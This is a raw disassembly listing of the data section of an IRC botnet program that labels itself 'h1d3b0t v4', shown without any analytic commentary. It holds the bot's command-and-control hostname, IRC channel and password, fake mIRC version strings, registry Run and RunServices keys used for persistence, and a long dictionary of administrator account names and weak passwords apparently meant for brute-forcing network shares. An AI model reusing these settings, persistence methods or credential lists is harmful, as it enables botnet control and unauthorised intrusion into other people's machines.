dword_424020	dd 19930520h, 1, 424040h, 5 dup(0) ; DATA XREF:	nsp0:loc_422408o
		dd 0FFFFFFFFh, 422400h
dword_424048	dd 19930520h, 1, 424068h, 5 dup(0) ; DATA XREF:	nsp0:loc_42241Co
dword_424068	dd 0FFFFFFFFh, 422414h,	2, 423FC0h, 423FA0h, 0 ; DATA XREF: nsp0:0042408Co
dword_424080	dd 0			; DATA XREF: nsp0:00421FEDo
		dd offset sub_421FF8
		dd 0
		dd offset dword_424068+8
dword_424090	dd 19930520h, 1, 4240B0h, 5 dup(0) ; DATA XREF:	nsp0:loc_422430o
		dd 0FFFFFFFFh, 422428h
dword_4240B8	dd 19930520h, 1, 4240D8h, 5 dup(0) ; DATA XREF:	nsp0:loc_422444o
		dd 0FFFFFFFFh, 42243Ch
dword_4240E0	dd 19930520h, 1, 424100h, 5 dup(0) ; DATA XREF:	nsp0:loc_422458o
		dd 0FFFFFFFFh, 422450h,	0
		dd offset off_43B970
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42220Ch, 0
dword_424128	dd 3, 424108h, 423FC0h,	423FA0h	; DATA XREF: nsp0:00424144o
dword_424138	dd 0			; DATA XREF: sub_42213C+47o
					; sub_4221D3+12o
		dd offset sub_422196
		dd 0
		dd offset dword_424128
dword_424148	dd 19930520h, 1, 424168h, 5 dup(0) ; DATA XREF:	nsp0:loc_42246Co
		dd 0FFFFFFFFh, 422464h
dword_424170	dd 19930520h, 1, 424190h, 5 dup(0) ; DATA XREF:	nsp0:loc_422480o
		dd 0FFFFFFFFh, 422478h,	0Dh dup(0)
		dd 24C0Ch, 23000h, 38Bh	dup(0)
dword_425000	dd 0			; DATA XREF: sub_417C94+1Fo
		dd offset loc_401205
		dd offset sub_40C983
		dd offset sub_40C9A4
		dd offset sub_40D7DD
		dd offset sub_422224
dword_425018	dd 0			; DATA XREF: sub_417C94+1Ao
dword_42501C	dd 0			; DATA XREF: sub_417C94+10o
		dd offset sub_419552
		dd offset sub_41BD52
		dd offset sub_41F417
		dd offset sub_420232
dword_425030	dd 0			; DATA XREF: sub_417C94:loc_417C9Fo
dword_425034	dd 0			; DATA XREF: sub_417CE3+65o
		dd offset sub_41F4BC
dword_42503C	dd 0			; DATA XREF: sub_417CE3:loc_417D43o
dword_425040	dd 0			; DATA XREF: sub_417CE3+76o
		dd offset sub_420243
dword_425048	dd 2 dup(0)		; DATA XREF: sub_417CE3:loc_417D54o
dword_425050	dd 80000002h, 42516Ch, 80000002h, 42519Ch, 80000001h, 42516Ch
					; DATA XREF: sub_401000+7o
dword_425068	dd 6272h		; DATA XREF: start+48o	sub_4010AB+Bo ...
dword_42506C	dd 1B58h		; DATA XREF: sub_401221+49Er
					; sub_401221+533r
dword_425070	dd 1A0Bh		; DATA XREF: sub_401221+57Fr
dword_425074	dd 7E4h			; DATA XREF: sub_401AC7:loc_40418Br
dword_425078	dd 45h			; DATA XREF: sub_401AC7+1BDEr
					; sub_40ABD2+3Br
dword_42507C	dd 7D1h			; DATA XREF: sub_401AC7:loc_403790r
					; sub_40ABD2:loc_40AFC3r
dword_425080	dd 201h			; DATA XREF: sub_401AC7:loc_40391Cr
word_425084	dw 7C7h			; DATA XREF: sub_401AC7:loc_4042AEr
		align 4
dword_425088	dd 1			; DATA XREF: sub_401AC7+65Cr
dword_42508C	dd 1			; DATA XREF: sub_401221+13Ar
dword_425090	dd 1			; DATA XREF: sub_401221:loc_40155Fr
					; sub_41542E+Cr
byte_425094	db 78h			; DATA XREF: sub_401AC7+6C4r
					; sub_401AC7+8ADr ...
		align 4
dword_425098	dd 9			; DATA XREF: sub_409DC3+39r
					; sub_409DC3+5Fr ...
dword_42509C	dd 1			; DATA XREF: sub_4017E7+78r
					; sub_401AC7+27Cr ...
dword_4250A0	dd 1			; DATA XREF: sub_4017E7+72r
					; sub_401AC7+276r
aK3ysddtmtm	db 'k3ysddtmtm',0       ; DATA XREF: sub_401221+5Do
					; sub_401AC7:loc_403FFEo ...
		align 10h
aH1d3b0tV4PiaVe	db 'h1d3b0t v4 Pia Version',0
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_401AC7+6FD2o
					; sub_401AC7+70A1o
		align 4
aMom_arabHacker	db 'mom.arab-hacker.org',0 ; DATA XREF: sub_401221+48Ao
					; sub_401221+524o
aDd		db '#dd',0              ; DATA XREF: sub_401221+4AAo
					; sub_401221+53Ao ...
aDpass		db 'dpass',0            ; DATA XREF: sub_401221+4C1o
					; sub_401221+54Co
		align 4
byte_4250EC	db 69h			; DATA XREF: sub_401221+140o
					; sub_401221+164w ...
		db 74h,	71h, 6Eh
		dd 7668796Dh, 78652E73h, 65h, 6E6E6977h, 74636474h, 61622E6Dh
		dd 74h
dword_42510C	dd 646E6957h, 2073776Fh, 544Dh ; DATA XREF: sub_401000+Eo
dword_425118	dd 2D544Dh, 736E6977h, 63647379h, 642E746Dh, 7461h
					; DATA XREF: nsp0:00409E41o
dword_42512C	dd 692B782Dh, 0		; DATA XREF: sub_401AC7+711Ao
dword_425134	dd 23746D23h, 0		; DATA XREF: sub_401AC7+189Bo
					; sub_401AC7+2ACAo ...
		dd 42594323h, 6C2D5245h, 676Fh
dword_425148	dd 42594323h, 732D5245h, 6666696Eh, 0 ;	DATA XREF: sub_401AC7+3AC7o
off_425158	dd offset a@room	; DATA XREF: sub_401AC7:loc_408AF5o
					; "*@room"
off_42515C	dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+83Dr
					; sub_401AC7+704Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
off_425240	dd offset aStudent	; DATA XREF: nsp0:off_438EDCo
					; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd 0
		dd offset byte_43B9B8
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42BB9C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
